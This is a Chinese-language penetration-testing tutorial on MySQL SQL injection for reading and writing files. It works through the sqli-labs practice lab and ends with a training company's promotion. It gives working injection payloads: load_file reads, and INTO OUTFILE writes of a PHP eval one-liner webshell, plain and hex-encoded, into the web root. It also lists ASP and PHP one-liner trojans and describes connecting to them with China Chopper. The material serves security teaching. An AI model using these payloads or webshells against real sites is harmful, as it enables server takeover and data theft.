渗 透 测 试
之 SQL 注 入(5)
前言
SQL注入有直接sql注入也有文件读写时的注入,昨天讲了延时注入的手法,今天我们这篇文章介绍的是SQL注入中文件读写这一块的内容,具体的一起来看看。
01
文件读取
Load_file函数:
作用:读取函数并返回文件内容
使用前提:
1) 知道文件绝对路径
2) 数据库允许导入导出
3) 当前用户用户文件操作权限
4) 可以使用union查询
读取文件举例:
首先查看权限:
show variables like “secure_file_priv”;

select current_user();

select File_priv from mysql.user where user=’root’ and host=’localhost’;

注意:
1、用户权限足够高,尽量具有root权限。
2、secure_file_priv参数的设置:
secure_file_priv=
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/xxx/xxx
代表只能对该路径下文件进行读写
以sqli-labs第二关为例:
在F盘的文件夹123下写一个1.txt文件,并在里面写内容为“Hello word”

在火狐浏览器的Max HackBar中写入sql语句:
?id=-1 union select 1,load_file('F:/123/1.txt'), 3 -- +,便可看到读取的文件成功

02
文件写入
Into outfile函数:
作用:将查询结果写入文件中;
前提:
1) 写入的文件路径必须是绝对路径
2) 当前连接数据库用户必需有FILE权限
3) 没有对单引号进行转义或过滤
4) 可以使用UNION查询
注意:
1、into outfile后指定文件的路径的单引号不能省略
2、windows下的路径需要注意斜杠的写法:
F:/123/ 1.txt 或者 F:\\123\\1.txt
3、写文件位置:
网站目录—通过外网可以访问到
4、写文件类型:
脚本文件—网站根目录下
5、一句话木马:
<?php @eval($_POST['a']); ?>eval() 函数把字符串按照 PHP 代码来计算;
6、找网站根路径:
1)页面脚本报错信息;例:warning:php.ini-->display_errors = On //输出错误信息,如果为off,则没有报错信息输出;
2)通过load_file函数去读取中间件(Apache、iis)的配置文件;
3)查看网站是否采用集成环境:phpstudy、wamp。如何判断是集成环境:通过路径辨别:@@datadir //数据库存放路径
4)扫描出phpinfo文件---->document root---网站根目录
写入文件举例getshell
以sqli-labs第二关为例
1、查看当前用户:?id=-1 union select 1,user(),3 -- +

2、获取网站根目录:
通过数据库的位置来判断:@@datadir
写入sql语句:?id=-1 union select 1,user(),@@datadir -- +

猜测网站的根目录为:
C:\phpStudy\PHPTutorial\WWW
3、上传文件
1)构造上传文件的sql语句:
?id=-1unionselect1,<?php@eval($_POST['a']);?>,3intooutfile 'C:\\phpStudy\\PHPTutorial\\WWW\\wenjian.php' -- +
2)将一句话用hex编码:
?id=-1 union select
1,0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E,3intooutfile 'C:\\phpStudy\\PHPTutorial\\WWW\\wenjian.php' -- +

3)访问wenjian.php,查看是否上传成功

4、用菜刀连接上传的文件:


扩展:
1. 中国菜刀,一个非常好用而又强大的webshell,它可不是用来切菜的做饭的道具哦,是一款专业的网站管理软件,大小只有300多KB,小巧实用。不过被不法分子利用到,就是一个黑站的利器了。不难操作,同时功能又强大。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。
1)中国菜刀支持的服务端脚本:PHP、ASP;
2)主要功能有:文件管理(有足够的权限时候可以管理整个磁盘/文件系统),数据库管理,虚拟终端。
3)菜刀的工作原理是:利用上传到服务器的一句话脚本再通过一些添加配置就可以工作了。
2. 一句话木马,它短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
常用一句话木马如下:
1)asp一句话木马:
<%execute(request("value"))%>
2)php一句话木马:
<?php @eval($_POST[value]);?>
关于我们:
河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。
关注镌远科技,关注网络安全!
河北分公司:河北镌远网络科技有限公司
地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层
总公司:北京冠程科技有限公司
地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层
实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心


欢迎扫描关注我们,及时了解更多关于网络安全相关知识
点“阅读原文”了解更多

